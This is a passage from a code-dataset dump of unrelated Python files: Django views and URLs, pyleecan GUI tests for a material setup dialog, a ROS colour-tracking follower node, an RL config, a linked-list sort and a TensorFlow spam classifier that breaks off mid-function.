f.write(str(JointTraj[i][2]))\n f.write(\",\")\n f.write(str(JointTraj[i][3]))\n f.write(\",\")\n f.write(str(JointTraj[i][4]))\n f.write(\",\")\n f.write(str(JointTraj[i][5]))\n f.write(\"\\n\")\nf.close()\n\n\n\n\n\n","sub_path":"Question5.py","file_name":"Question5.py","file_ext":"py","file_size_in_byte":1950,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"258785154","text":"from django.conf.urls import patterns, include, url\nfrom views import *\n#from django.contrib import admin\n#admin.autodiscover()\n\nurlpatterns = patterns('',\n # Examples:\n \n url(r'^$', home),\n url(r'^report/', report),\n url(r'^deployedtowhere/', deployedtowhere),\n url(r'^giverelief/', giverelief),\n url(r'^listofcauses/', listofcauses),\n url(r'^reportssubmitted/', reportssubmitted),\n url(r'^tweettoform/', tweettoform),\n url(r'^thanks-report/', thanksreport),\n\n\n\n\n\n \n # url(r'^blog/', include('blog.urls')),\n\n #url(r'^admin/', include(admin.site.urls)),\n \n \n)\n","sub_path":"HelpOutPH/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":605,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"371858870","text":"from django.shortcuts import render_to_response\nfrom django.shortcuts import render\nfrom hotel.models import *\nfrom offer.models import *\n# Create your views here.\n\ndef hotel(request):\n\t\thotels=Hotel.objects.all()\t\n\t\tcontext={'hotels':hotels,'sessionid':request.session['user_id']}\n\t\treturn render_to_response('hotel/hotel.html', context)\ndef offer(request,offer_id):\n\trequest.session.session_key\n\tif request.method=='GET':\n\t\td=offer_id\n\t\toffer=Offer.objects.filter(hotelId_id=d)\n\t\tcontext={'offers':offer}\n\t\treturn render_to_response('offer/offer.html', context)\n","sub_path":"offer/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":564,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"244854464","text":"# -*- coding: utf-8 -*-\n\nimport sys\nfrom os import mkdir\nfrom os.path import join, isdir, isfile\nimport mock\nfrom shutil import rmtree, copyfile\nfrom random import uniform\nfrom numpy import array\nfrom PySide2 import QtWidgets\nfrom PySide2.QtCore import Qt\nfrom PySide2.QtTest import QTest\n\nfrom pyleecan.Classes.MatMagnetics import MatMagnetics\nfrom pyleecan.Classes.Material import Material\nfrom pyleecan.Classes.ImportMatrixVal import ImportMatrixVal\nfrom pyleecan.GUI.Dialog.DMatLib.DMatSetup.DMatSetup import DMatSetup\nfrom Tests import save_load_path as save_path, TEST_DATA_DIR\n\nimport pytest\n\n\nclass TestDMatSetup(object):\n \"\"\"Test that the widget DMatSetup behave like it should\"\"\"\n\n @pytest.fixture\n def setup(self):\n \"\"\"Run at the begining of every test to setup the gui\"\"\"\n\n if not QtWidgets.QApplication.instance():\n self.app = QtWidgets.QApplication(sys.argv)\n else:\n self.app = QtWidgets.QApplication.instance()\n\n work_path = join(save_path, \"Material\")\n # Delete old test if needed\n if isdir(work_path):\n rmtree(work_path)\n mkdir(work_path)\n copyfile(\n join(TEST_DATA_DIR, \"Material\", \"Magnet1.json\"),\n join(work_path, \"Magnet1.json\"),\n )\n\n test_obj = Material()\n test_obj.name = \"Magnet1\"\n test_obj.path = join(work_path, \"Magnet1.json\")\n test_obj.is_isotropic = True\n test_obj.elec.rho = 0.11\n test_obj.mag = MatMagnetics(mur_lin=0.12, Wlam=0.13)\n test_obj.mag.BH_curve = ImportMatrixVal(\n value=array([[0, 1], [2, 100], [3, 300], [4, 450]])\n )\n test_obj.struct.rho = 0.14\n test_obj.struct.Ex = 0.15\n test_obj.struct.Ey = 0.152\n test_obj.struct.Ez = 0.153\n test_obj.struct.nu_xy = 0.16\n test_obj.struct.nu_yz = 0.162\n test_obj.struct.nu_xz = 0.163\n test_obj.struct.Gxy = 0.17\n test_obj.struct.Gyz = 0.172\n test_obj.struct.Gxz = 0.173\n test_obj.HT.lambda_x = 0.18\n test_obj.HT.lambda_y = 0.182\n test_obj.HT.lambda_z = 0.183\n test_obj.HT.Cp = 0.19\n test_obj.HT.alpha = 0.20\n test_obj.eco.cost_unit = 0.21\n widget = DMatSetup(material=test_obj)\n\n yield {\"widget\": widget, \"work_path\": work_path, \"test_obj\": test_obj}\n\n self.app.quit()\n\n rmtree(work_path)\n\n def test_init(self, setup):\n \"\"\"Check that the Widget spinbox initialise to the lamination value\"\"\"\n assert setup[\"widget\"].nav_ther.currentIndex() == 1\n assert setup[\"widget\"].nav_meca.currentIndex() == 1\n assert setup[\"widget\"].le_name.text() == \"Magnet1\"\n assert setup[\"widget\"].is_isotropic.checkState() == Qt.Checked\n assert setup[\"widget\"].lf_rho_elec.value() == 0.11\n assert setup[\"widget\"].lf_mur_lin.value() == 0.12\n assert setup[\"widget\"].lf_Wlam.value() == 0.13\n assert setup[\"widget\"].lf_rho_meca.value() == 0.14\n assert setup[\"widget\"].lf_E.value() == 0.15\n assert setup[\"widget\"].lf_nu.value() == 0.16\n assert setup[\"widget\"].lf_G.value() == 0.17\n assert setup[\"widget\"].lf_L.value() == 0.18\n assert setup[\"widget\"].lf_Cp.value() == 0.19\n assert setup[\"widget\"].lf_alpha.value() == 0.2\n assert setup[\"widget\"].lf_cost_unit.value() == 0.21\n assert setup[\"widget\"].w_BH_import.w_import.in_matrix.text() == (\n \"Matrix size: (4, 2)\"\n )\n\n # Test Raw Material\n setup[\"test_obj\"].mag = None\n setup[\"widget\"] = DMatSetup(material=setup[\"test_obj\"])\n\n assert setup[\"widget\"].nav_ther.currentIndex() == 1\n assert setup[\"widget\"].nav_meca.currentIndex() == 1\n assert setup[\"widget\"].le_name.text() == \"Magnet1\"\n assert setup[\"widget\"].is_isotropic.checkState() == Qt.Checked\n assert setup[\"widget\"].lf_rho_elec.value() == 0.11\n assert setup[\"widget\"].lf_rho_meca.value() == 0.14\n assert setup[\"widget\"].lf_E.value() == 0.15\n assert setup[\"widget\"].lf_nu.value() == 0.16\n assert setup[\"widget\"].lf_G.value() == 0.17\n assert setup[\"widget\"].lf_L.value() == 0.18\n assert setup[\"widget\"].lf_Cp.value() == 0.19\n assert setup[\"widget\"].lf_alpha.value() == 0.2\n assert setup[\"widget\"].lf_cost_unit.value() == 0.21\n\n # Test Magnet material Non isotropic\n setup[\"test_obj\"].is_isotropic = False\n setup[\"test_obj\"].mag = MatMagnetics(mur_lin=0.22, Brm20=0.23, alpha_Br=0.24)\n setup[\"widget\"] = DMatSetup(material=setup[\"test_obj\"])\n\n assert setup[\"widget\"].nav_ther.currentIndex() == 0\n assert setup[\"widget\"].nav_meca.currentIndex() == 0\n assert setup[\"widget\"].le_name.text() == \"Magnet1\"\n assert setup[\"widget\"].is_isotropic.checkState() == Qt.Unchecked\n assert setup[\"widget\"].lf_rho_elec.value() == 0.11\n assert setup[\"widget\"].lf_mur_lin.value() == 0.22\n assert setup[\"widget\"].lf_Brm20.value() == 0.23\n assert setup[\"widget\"].lf_alpha_Br.value() == 0.24\n assert setup[\"widget\"].lf_rho_meca.value() == 0.14\n\n assert setup[\"widget\"].lf_Ex.value() == 0.15\n assert setup[\"widget\"].lf_Ey.value() == 0.152\n assert setup[\"widget\"].lf_Ez.value() == 0.153\n\n assert setup[\"widget\"].lf_nu_xy.value() == 0.16\n assert setup[\"widget\"].lf_nu_yz.value() == 0.162\n assert setup[\"widget\"].lf_nu_xz.value() == 0.163\n\n assert setup[\"widget\"].lf_Gxy.value() == 0.17\n assert setup[\"widget\"].lf_Gyz.value() == 0.172\n assert setup[\"widget\"].lf_Gxz.value() == 0.173\n\n assert setup[\"widget\"].lf_Lx.value() == 0.18\n assert setup[\"widget\"].lf_Ly.value() == 0.182\n assert setup[\"widget\"].lf_Lz.value() == 0.183\n\n assert setup[\"widget\"].lf_Cp.value() == 0.19\n assert setup[\"widget\"].lf_alpha.value() == 0.2\n assert setup[\"widget\"].lf_cost_unit.value() == 0.21\n\n # Test Magnet material None elec\n setup[\"test_obj\"].elec = None\n setup[\"widget\"] = DMatSetup(material=setup[\"test_obj\"])\n\n assert setup[\"widget\"].mat.elec is not None\n\n # Test Magnet material None eco\n setup[\"test_obj\"].eco = None\n setup[\"widget\"] = DMatSetup(material=setup[\"test_obj\"])\n\n assert setup[\"widget\"].mat.eco is not None\n\n # Test Magnet material None HT\n setup[\"test_obj\"].HT = None\n setup[\"widget\"] = DMatSetup(material=setup[\"test_obj\"])\n\n assert setup[\"widget\"].mat.HT is not None\n\n # Test Magnet material None struct\n setup[\"test_obj\"].struct = None\n setup[\"widget\"] = DMatSetup(material=setup[\"test_obj\"])\n\n assert setup[\"widget\"].mat.struct is not None\n\n def test_set_name(self, setup):\n \"\"\"Check that you can change the name and the path\"\"\"\n setup[\"widget\"].le_name.setText(\"Magnet2\")\n setup[\"widget\"].le_name.editingFinished.emit()\n assert setup[\"widget\"].mat.name == \"Magnet2\"\n assert setup[\"widget\"].mat.path == join(setup[\"work_path\"], \"Magnet2.json\")\n\n def test_set_rho_elec(self, setup):\n \"\"\"Check that the Widget allow to update rho_elec\"\"\"\n setup[\"widget\"].lf_rho_elec.clear() # Clear the field before writing\n value = round(uniform(0, 1), 4)\n QTest.keyClicks(setup[\"widget\"].lf_rho_elec, str(value))\n setup[\"widget\"].lf_rho_elec.editingFinished.emit() # To trigger the slot\n\n assert setup[\"widget\"].mat.elec.rho == value\n\n def test_set_mur_lin(self, setup):\n \"\"\"Check that the Widget allow to update mur_lin\"\"\"\n setup[\"widget\"].lf_mur_lin.clear() # Clear the field before writing\n value = round(uniform(0, 1), 4)\n QTest.keyClicks(setup[\"widget\"].lf_mur_lin, str(value))\n setup[\"widget\"].lf_mur_lin.editingFinished.emit() # To trigger the slot\n\n assert setup[\"widget\"].mat.mag.mur_lin == value\n setup[\"test_obj\"].mag = MatMagnetics()\n setup[\"widget\"] = DMatSetup(material=setup[\"test_obj\"])\n setup[\"widget\"].lf_mur_lin.clear() # Clear the field before writing\n value = round(uniform(0, 1), 4)\n QTest.keyClicks(setup[\"widget\"].lf_mur_lin, str(value))\n setup[\"widget\"].lf_mur_lin.editingFinished.emit() # To trigger the slot\n\n assert setup[\"widget\"].mat.mag.mur_lin == value\n\n def test_set_Wlam(self, setup):\n \"\"\"Check that the Widget allow to update Wlam\"\"\"\n setup[\"widget\"].lf_Wlam.clear() # Clear the field before writing\n value = round(uniform(0, 1), 4)\n QTest.keyClicks(setup[\"widget\"].lf_Wlam, str(value))\n setup[\"widget\"].lf_Wlam.editingFinished.emit() # To trigger the slot\n\n assert setup[\"widget\"].mat.mag.Wlam == value\n\n def test_set_Brm20(self, setup):\n \"\"\"Check that the Widget allow to update Brm20\"\"\"\n setup[\"test_obj\"].mag = MatMagnetics()\n setup[\"widget\"] = DMatSetup(material=setup[\"test_obj\"])\n setup[\"widget\"].lf_Brm20.clear() # Clear the field before writing\n value = round(uniform(0, 1), 4)\n QTest.keyClicks(setup[\"widget\"].lf_Brm20, str(value))\n setup[\"widget\"].lf_Brm20.editingFinished.emit() # To trigger the slot\n\n assert setup[\"widget\"].mat.mag.Brm20 == value\n\n def test_set_alpha_Br(self, setup):\n \"\"\"Check that the Widget allow to update alpha_Br\"\"\"\n # Set Material for Magnet\n setup[\"test_obj\"].mag = MatMagnetics()\n setup[\"widget\"] = DMatSetup(material=setup[\"test_obj\"])\n setup[\"widget\"].lf_alpha_Br.clear() # Clear the field before writing\n value = round(uniform(0, 1), 4)\n QTest.keyClicks(setup[\"widget\"].lf_alpha_Br, str(value))\n setup[\"widget\"].lf_alpha_Br.editingFinished.emit() # To trigger the slot\n\n assert setup[\"widget\"].mat.mag.alpha_Br == value\n\n def test_set_rho_meca(self, setup):\n \"\"\"Check that the Widget allow to update rho_meca\"\"\"\n setup[\"widget\"].lf_rho_meca.clear() # Clear the field before writing\n value = round(uniform(0, 1), 4)\n QTest.keyClicks(setup[\"widget\"].lf_rho_meca, str(value))\n setup[\"widget\"].lf_rho_meca.editingFinished.emit() # To trigger the slot\n\n assert setup[\"widget\"].mat.struct.rho == value\n\n def test_set_E(self, setup):\n \"\"\"Check that the Widget allow to update E\"\"\"\n setup[\"widget\"].lf_E.clear() # Clear the field before writing\n value = round(uniform(0, 1), 4)\n QTest.keyClicks(setup[\"widget\"].lf_E, str(value))\n setup[\"widget\"].lf_E.editingFinished.emit() # To trigger the slot\n\n assert setup[\"widget\"].mat.struct.Ex == value\n assert setup[\"widget\"].mat.struct.Ey == value\n assert setup[\"widget\"].mat.struct.Ez == value\n\n def test_set_Ex(self, setup):\n \"\"\"Check that the Widget allow to update Ex\"\"\"\n setup[\"widget\"].lf_Ex.clear() # Clear the field before writing\n value = round(uniform(0, 1), 4)\n QTest.keyClicks(setup[\"widget\"].lf_Ex, str(value))\n setup[\"widget\"].lf_Ex.editingFinished.emit() # To trigger the slot\n\n assert setup[\"widget\"].mat.struct.Ex == value\n\n def test_set_Ey(self, setup):\n \"\"\"Check that the Widget allow to update Ey\"\"\"\n setup[\"widget\"].lf_Ey.clear() # Clear the field before writing\n value = round(uniform(0, 1), 4)\n QTest.keyClicks(setup[\"widget\"].lf_Ey, str(value))\n setup[\"widget\"].lf_Ey.editingFinished.emit() # To trigger the slot\n\n assert setup[\"widget\"].mat.struct.Ey == value\n\n def test_set_Ez(self, setup):\n \"\"\"Check that the Widget allow to update Ez\"\"\"\n setup[\"widget\"].lf_Ez.clear() # Clear the field before writing\n value = round(uniform(0, 1), 4)\n QTest.keyClicks(setup[\"widget\"].lf_Ez, str(value))\n setup[\"widget\"].lf_Ez.editingFinished.emit() # To trigger the slot\n\n assert setup[\"widget\"].mat.struct.Ez == value\n\n def test_set_nu(self, setup):\n \"\"\"Check that the Widget allow to update nu\"\"\"\n setup[\"widget\"].lf_nu.clear() # Clear the field before writing\n value = round(uniform(0, 1), 4)\n QTest.keyClicks(setup[\"widget\"].lf_nu, str(value))\n setup[\"widget\"].lf_nu.editingFinished.emit() # To trigger the slot\n\n assert setup[\"widget\"].mat.struct.nu_xy == value\n assert setup[\"widget\"].mat.struct.nu_yz == value\n assert setup[\"widget\"].mat.struct.nu_xz == value\n\n def test_set_nu_xy(self, setup):\n \"\"\"Check that the Widget allow to update nu_xy\"\"\"\n setup[\"widget\"].lf_nu_xy.clear() # Clear the field before writing\n value = round(uniform(0, 1), 4)\n QTest.keyClicks(setup[\"widget\"].lf_nu_xy, str(value))\n setup[\"widget\"].lf_nu_xy.editingFinished.emit() # To trigger the slot\n\n assert setup[\"widget\"].mat.struct.nu_xy == value\n\n def test_set_nu_xz(self, setup):\n \"\"\"Check that the Widget allow to update nu_xz\"\"\"\n setup[\"widget\"].lf_nu_xz.clear() # Clear the field before writing\n value = round(uniform(0, 1), 4)\n QTest.keyClicks(setup[\"widget\"].lf_nu_xz, str(value))\n setup[\"widget\"].lf_nu_xz.editingFinished.emit() # To trigger the slot\n\n assert setup[\"widget\"].mat.struct.nu_xz == value\n\n def test_set_nu_yz(self, setup):\n \"\"\"Check that the Widget allow to update nu_yz\"\"\"\n setup[\"widget\"].lf_nu_yz.clear() # Clear the field before writing\n value = round(uniform(0, 1), 4)\n QTest.keyClicks(setup[\"widget\"].lf_nu_yz, str(value))\n setup[\"widget\"].lf_nu_yz.editingFinished.emit() # To trigger the slot\n\n assert setup[\"widget\"].mat.struct.nu_yz == value\n\n def test_set_G(self, setup):\n \"\"\"Check that the Widget allow to update G\"\"\"\n setup[\"widget\"].lf_G.clear() # Clear the field before writing\n value = round(uniform(0, 1), 4)\n QTest.keyClicks(setup[\"widget\"].lf_G, str(value))\n setup[\"widget\"].lf_G.editingFinished.emit() # To trigger the slot\n\n assert setup[\"widget\"].mat.struct.Gxy == value\n assert setup[\"widget\"].mat.struct.Gyz == value\n assert setup[\"widget\"].mat.struct.Gxz == value\n\n def test_set_Gxy(self, setup):\n \"\"\"Check that the Widget allow to update Gxy\"\"\"\n setup[\"widget\"].lf_Gxy.clear() # Clear the field before writing\n value = round(uniform(0, 1), 4)\n QTest.keyClicks(setup[\"widget\"].lf_Gxy, str(value))\n setup[\"widget\"].lf_Gxy.editingFinished.emit() # To trigger the slot\n\n assert setup[\"widget\"].mat.struct.Gxy == value\n\n def test_set_Gyz(self, setup):\n \"\"\"Check that the Widget allow to update Gyz\"\"\"\n setup[\"widget\"].lf_Gyz.clear() # Clear the field before writing\n value = round(uniform(0, 1), 4)\n QTest.keyClicks(setup[\"widget\"].lf_Gyz, str(value))\n setup[\"widget\"].lf_Gyz.editingFinished.emit() # To trigger the slot\n\n assert setup[\"widget\"].mat.struct.Gyz == value\n\n def test_set_Gxz(self, setup):\n \"\"\"Check that the Widget allow to update Gxz\"\"\"\n setup[\"widget\"].lf_Gxz.clear() # Clear the field before writing\n value = round(uniform(0, 1), 4)\n QTest.keyClicks(setup[\"widget\"].lf_Gxz, str(value))\n setup[\"widget\"].lf_Gxz.editingFinished.emit() # To trigger the slot\n\n assert setup[\"widget\"].mat.struct.Gxz == value\n\n def test_set_is_isotropic(self, setup):\n \"\"\"Check that the Widget allow to change value of is_isotropic\"\"\"\n QTest.mouseClick(\n setup[\"widget\"].is_isotropic, Qt.LeftButton\n ) # Clicking the checkbox with the leftbutton\n\n assert setup[\"widget\"].is_isotropic.isChecked() == False\n assert setup[\"widget\"].nav_meca.currentIndex() == 0\n assert setup[\"widget\"].nav_ther.currentIndex() == 0\n\n QTest.mouseClick(setup[\"widget\"].is_isotropic, Qt.LeftButton)\n\n assert setup[\"widget\"].is_isotropic.isChecked() == True\n assert setup[\"widget\"].nav_meca.currentIndex() == 1\n assert setup[\"widget\"].nav_ther.currentIndex() == 1\n\n def test_set_cost_unit(self, setup):\n \"\"\"Check that the Widget allow to update cost_unit\"\"\"\n setup[\"widget\"].lf_cost_unit.clear()\n value = 0.4548\n QTest.keyClicks(setup[\"widget\"].lf_cost_unit, str(value))\n setup[\"widget\"].lf_cost_unit.editingFinished.emit()\n\n assert setup[\"widget\"].mat.eco.cost_unit == value\n\n def test_set_CP(self, setup):\n \"\"\"Check that the Widget allow to update mat.HT.Cp\"\"\"\n setup[\"widget\"].lf_Cp.clear()\n value = 0.4548\n QTest.keyClicks(setup[\"widget\"].lf_Cp, str(value))\n setup[\"widget\"].lf_Cp.editingFinished.emit()\n\n assert setup[\"widget\"].mat.HT.Cp == value\n\n def test_set_alpha(self, setup):\n \"\"\"Check that the Widget allow to update mat.HT.alpha\"\"\"\n setup[\"widget\"].lf_alpha.clear()\n value = 0.4548\n QTest.keyClicks(setup[\"widget\"].lf_alpha, str(value))\n setup[\"widget\"].lf_alpha.editingFinished.emit()\n\n assert setup[\"widget\"].mat.HT.alpha == value\n\n def test_set_lambda(self, setup):\n \"\"\"Check that the Widget allow to update mat.HT.lambda\"\"\"\n setup[\"widget\"].lf_L.clear()\n value = 0.4548\n QTest.keyClicks(setup[\"widget\"].lf_L, str(value))\n setup[\"widget\"].lf_L.editingFinished.emit()\n\n assert setup[\"widget\"].mat.HT.lambda_x == value\n assert setup[\"widget\"].mat.HT.lambda_y == value\n assert setup[\"widget\"].mat.HT.lambda_z == value\n\n def test_set_lambda_x_y_z(self, setup):\n \"\"\"Check that the Widget allow to update mat.HT.lambda_x_y_z\"\"\"\n setup[\"widget\"].lf_Lx.clear()\n value = 0.4548\n QTest.keyClicks(setup[\"widget\"].lf_Lx, str(value))\n setup[\"widget\"].lf_Lx.editingFinished.emit()\n\n assert setup[\"widget\"].mat.HT.lambda_x == value\n\n setup[\"widget\"].lf_Ly.clear()\n value = 0.4548\n QTest.keyClicks(setup[\"widget\"].lf_Ly, str(value))\n setup[\"widget\"].lf_Ly.editingFinished.emit()\n\n assert setup[\"widget\"].mat.HT.lambda_y == value\n\n setup[\"widget\"].lf_Lz.clear()\n value = 0.4548\n QTest.keyClicks(setup[\"widget\"].lf_Lz, str(value))\n setup[\"widget\"].lf_Lz.editingFinished.emit()\n\n assert setup[\"widget\"].mat.HT.lambda_z == value\n\n def test_BH_setup(self, setup):\n \"\"\"Check that the BH curve behave have expected\"\"\"\n w_imp = setup[\"widget\"].w_BH_import.w_import\n assert setup[\"widget\"].w_BH_import.c_type_import.currentIndex() == 1\n setup[\"widget\"].w_BH_import.w_import.in_matrix.text()\n # Open table to check BH values\n assert w_imp.tab_window is None\n w_imp.b_tab.clicked.emit()\n w_imp.tab_window.si_row.value() == 4\n w_imp.tab_window.si_col.value() == 2\n w_imp.tab_window.w_tab.cellWidget(0, 0).value() == 0\n w_imp.tab_window.w_tab.cellWidget(0, 1).value() == 1\n w_imp.tab_window.w_tab.cellWidget(1, 0).value() == 2\n w_imp.tab_window.w_tab.cellWidget(1, 1).value() == 100\n w_imp.tab_window.w_tab.cellWidget(2, 0).value() == 3\n w_imp.tab_window.w_tab.cellWidget(2, 1).value() == 300\n w_imp.tab_window.w_tab.cellWidget(3, 0).value() == 4\n w_imp.tab_window.w_tab.cellWidget(3, 1).value() == 450\n # Edit table\n w_imp.tab_window.w_tab.cellWidget(3, 0).setValue(5)\n w_imp.tab_window.w_tab.cellWidget(3, 1).setValue(800)\n w_imp.tab_window.b_close.accepted.emit()\n w_imp.tab_window.close()\n setup[\"widget\"].mat.mag.BH_curve.value[3, 0] == 5\n setup[\"widget\"].mat.mag.BH_curve.value[3, 0] == 800\n # Export to excel\n excel_path = join(save_path, \"DMatSetup_excel_export.xls\").replace(\"\\\\\", \"/\")\n assert not isfile(excel_path)\n with mock.patch(\n \"PySide2.QtWidgets.QFileDialog.getSaveFileName\",\n return_value=(excel_path, \"Excel file (*.xls .*xlsx)\"),\n ):\n w_imp.b_convert.clicked.emit()\n assert isfile(excel_path)\n # Convert to excel import\n setup[\"widget\"].w_BH_import.c_type_import.setCurrentIndex(0)\n assert (\n setup[\"widget\"].w_BH_import.c_type_import.currentText()\n == \"Import from Excel\"\n )\n w_imp = setup[\"widget\"].w_BH_import.w_import\n # Import the excel file\n with mock.patch(\n \"PySide2.QtWidgets.QFileDialog.getOpenFileName\",\n return_value=(excel_path, \"Excel file (*.xls .*xlsx)\"),\n ):\n w_imp.w_file_path.b_path.clicked.emit()\n assert w_imp.w_file_path.le_path.text() == excel_path\n # Check table\n assert w_imp.tab_window is None\n w_imp.b_tab.clicked.emit()\n w_imp.tab_window.si_row.value() == 4\n w_imp.tab_window.si_col.value() == 2\n w_imp.tab_window.w_tab.cellWidget(0, 0).value() == 0\n w_imp.tab_window.w_tab.cellWidget(0, 1).value() == 1\n w_imp.tab_window.w_tab.cellWidget(1, 0).value() == 2\n w_imp.tab_window.w_tab.cellWidget(1, 1).value() == 100\n w_imp.tab_window.w_tab.cellWidget(2, 0).value() == 3\n w_imp.tab_window.w_tab.cellWidget(2, 1).value() == 300\n w_imp.tab_window.w_tab.cellWidget(3, 0).value() == 5\n w_imp.tab_window.w_tab.cellWidget(3, 1).value() == 800\n","sub_path":"Tests/GUI/DMatLib/test_DMatSetup.py","file_name":"test_DMatSetup.py","file_ext":"py","file_size_in_byte":21363,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"450259854","text":"#!/usr/bin/env python\nimport rospy\nimport numpy as np\nimport cv2, cv_bridge\nfrom geometry_msgs.msg import Twist\nfrom sensor_msgs.msg import Image\n\nclass PersonFollow(object):\n def __init__(self):\n rospy.init_node(\"PersonFollow\")\n self.bridge = cv_bridge.CvBridge()\n cv2.namedWindow(\"Predator\", 1)\n\n rospy.Subscriber('camera2/usb_cam2/image_raw', Image, self._latestImage)\n\n self.pub = rospy.Publisher(\"/cmd_vel\", Twist, queue_size=10)\n\n self.person_distance = 1.1\n self.last_cmd_linear_x = 0\n self.last_cmd_angular_z = 0\n\n rospy.loginfo(\"Ready to get out there and follow Alex or Narendra or any one of the awesome guys!\")\n rospy.spin()\n\n def _latestImage(self, data):\n image = self.bridge.imgmsg_to_cv2(data, desired_encoding='bgr8')\n dark_blue = np.array([150,90,50])\n bright_blue = np.array([255,150,100])\n mask = cv2.inRange(image, dark_blue, bright_blue)\n\n (height, width, depth) = image.shape\n top_level = height / 2\n mask[0:top_level, 0:width] = 0\n\n cmd = Twist()\n\n Moments = cv2.moments(mask)\n if Moments['m00'] > 0:\n centroid_x = int(Moments['m10'] / Moments['m00'])\n centroid_y = int(Moments['m01'] / Moments['m00'])\n #Create Predator like representation of where the focus is\n cv2.circle(image, (centroid_x-5, centroid_y+3), 3, (10,10,255), -1)\n cv2.circle(image, (centroid_x+5, centroid_y+3), 3, (10,10,255), -1)\n cv2.circle(image, (centroid_x, centroid_y-3), 3, (10,10,255), -1)\n cmd.linear.x = np.clip(self.last_cmd_linear_x+0.004,0,1.2)\n cmd.angular.z = np.clip((0.01 * (width / 2 - centroid_x)-0.03),-1.2, 1.2)\n else:\n cmd.linear.x = np.clip(self.last_cmd_linear_x - 0.004, 0,1.2)\n cmd.angular.z = np.clip(self.last_cmd_angular_z + 0.1, 0, 1.2)\n self.last_cmd_linear_x = cmd.linear.x\n self.last_cmd_angular_z = cmd.angular\n rospy.loginfo(cmd)\n self.pub.publish(cmd)\n cv2.imshow(\"Predator\", image)\n cv2.waitKey(2) \n\nif __name__ == \"__main__\":\n try:\n run = PersonFollow()\n except rospy.ROSInterruptException:\n pass\n","sub_path":"quad_pkg/src/scripts/person_following.py","file_name":"person_following.py","file_ext":"py","file_size_in_byte":2256,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"198942345","text":"\n\nparams = {\n 'universe': 'gym',\n 'task': 'HalfCheetahSafe-v2',\n 'environment_params': {\n 'normalize_actions': True,\n },\n 'algorithm_params': {\n 'type': 'CMBPO',\n 'kwargs':{\n 'n_env_interacts': int(10e6),\n 'epoch_length': 50000, \n 'eval_every_n_steps': 5e3,\n 'n_initial_exploration_steps': int(0), \n 'use_model': False,\n 'batch_size_policy': 35000,\n }\n },\n 'policy_params':{\n 'type':'cpopolicy',\n 'kwargs':{\n 'constrain_cost': True,\n 'a_hidden_layer_sizes': (128, 128),\n 'vf_lr': 3e-4,\n 'vf_hidden_layer_sizes':(128,128),\n 'vf_epochs': 8,\n 'vf_batch_size': 2048,\n 'vf_ensemble_size': 3,\n 'vf_elites': 2,\n 'vf_activation': 'swish',\n 'vf_loss': 'MSE', \n 'vf_decay': 1e-6,\n 'vf_clipping': False, \n 'vf_kl_cliprange': 0.0,\n 'ent_reg': 0, # 5e-3\n 'target_kl': 0.01,\n 'lam': .95,\n 'gamma': 0.99,\n }\n },\n 'buffer_params': {},\n 'sampler_params': {\n 'kwargs':{\n 'render_mode':None,\n }\n },\n 'run_params': {},\n}","sub_path":"configs/cpo_hcs.py","file_name":"cpo_hcs.py","file_ext":"py","file_size_in_byte":1419,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"577803284","text":"class ListNode:\n def __init__(self, x):\n self.val = x\n self.next = None\n\n\nclass Solution:\n def sortList(self, head: ListNode) -> ListNode:\n if not (head and head.next):\n return head\n pre, slow, fast = None, head, head\n while fast and fast.next:\n pre, slow, fast = slow, slow.next, fast.next.next\n pre.next = None\n return self.mergeTwoLists(*map(self.sortList, (head, slow)))\n\n def mergeTwoLists(self, l1: ListNode, l2: ListNode) -> ListNode:\n if l1 and l2:\n if l1.val > l2.val:\n l1, l2 = l2, l1\n l1.next = self.mergeTwoLists(l1.next, l2)\n return l1 or l2\n","sub_path":"0148.py","file_name":"0148.py","file_ext":"py","file_size_in_byte":686,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"35262518","text":"from __future__ import print_function\nfrom sklearn import metrics\nfrom IPython import display\nimport tensorflow as tf\n\nimport collections\nimport io\nimport math\n\nimport matplotlib.pyplot as plt\nimport numpy as np\nimport pandas as pd\n\nimport nltk\n\nfrom nltk.stem import PorterStemmer\nfrom nltk.tokenize import sent_tokenize, word_tokenize, RegexpTokenizer\nfrom nltk.corpus import stopwords\n\nfrom tensorflow.python.data import Dataset\n\n\n# wrap into a class for future improvements\nclass DNN_Wrapper:\n def __init__(self, units):\n\n text_feature_column = tf.feature_column.categorical_column_with_vocabulary_list(\n key=\"text\", vocabulary_list=vocabulary)\n\n my_optimizer = tf.train.AdagradOptimizer(learning_rate=0.1)\n my_optimizer = tf.contrib.estimator.clip_gradients_by_norm(\n my_optimizer, 5.0)\n\n self.classifier = tf.estimator.DNNClassifier( \n feature_columns= [tf.feature_column.indicator_column(text_feature_column)],\n hidden_units= units,\n optimizer= my_optimizer \n )\n\n\n def train(self, input_function, steps):\n try:\n self.classifier.train(\n input_fn=input_function,\n steps=100)\n except ValueError as err:\n print(err) \n \n \n def evaluate(self, input_function, steps):\n try:\n return self.classifier.evaluate(\n input_fn=input_function,\n steps=1)\n except ValueError as err:\n print(err) \n \n def predict(self, dataframe = None):\n print(\"predicting:\\n\", dataframe)\n _write_tfrecord(\"records/predict.tfrecords\", dataframe)\n function = lambda: _train_input([\"records/predict.tfrecords\"],1)\n validation_predictions = list(self.classifier.predict(input_fn = function))\n return np.array([item['probabilities'][1] for item in validation_predictions]) # dovrei tornare il valore piu alto ??\n \n\ndef _parse_function(record):\n \"\"\"Extracts features and labels.\n\n Args:\n record: File path to a TFRecord file \n Returns:\n A `tuple` `(labels, features)`:\n features: A dict of tensors representing the features\n labels: A tensor with the corresponding labels.\n \"\"\"\n features = {\n # terms are strings of varying lengths\n \"text\": tf.VarLenFeature(dtype=tf.string),\n # labels are 0 or 1\n \"spam\": tf.FixedLenFeature(shape=[1], dtype=tf.int64)\n }\n\n parsed_features = tf.parse_single_example(record, features)\n\n terms = parsed_features['text'].values\n labels = parsed_features['spam']\n \n\n return {'text': 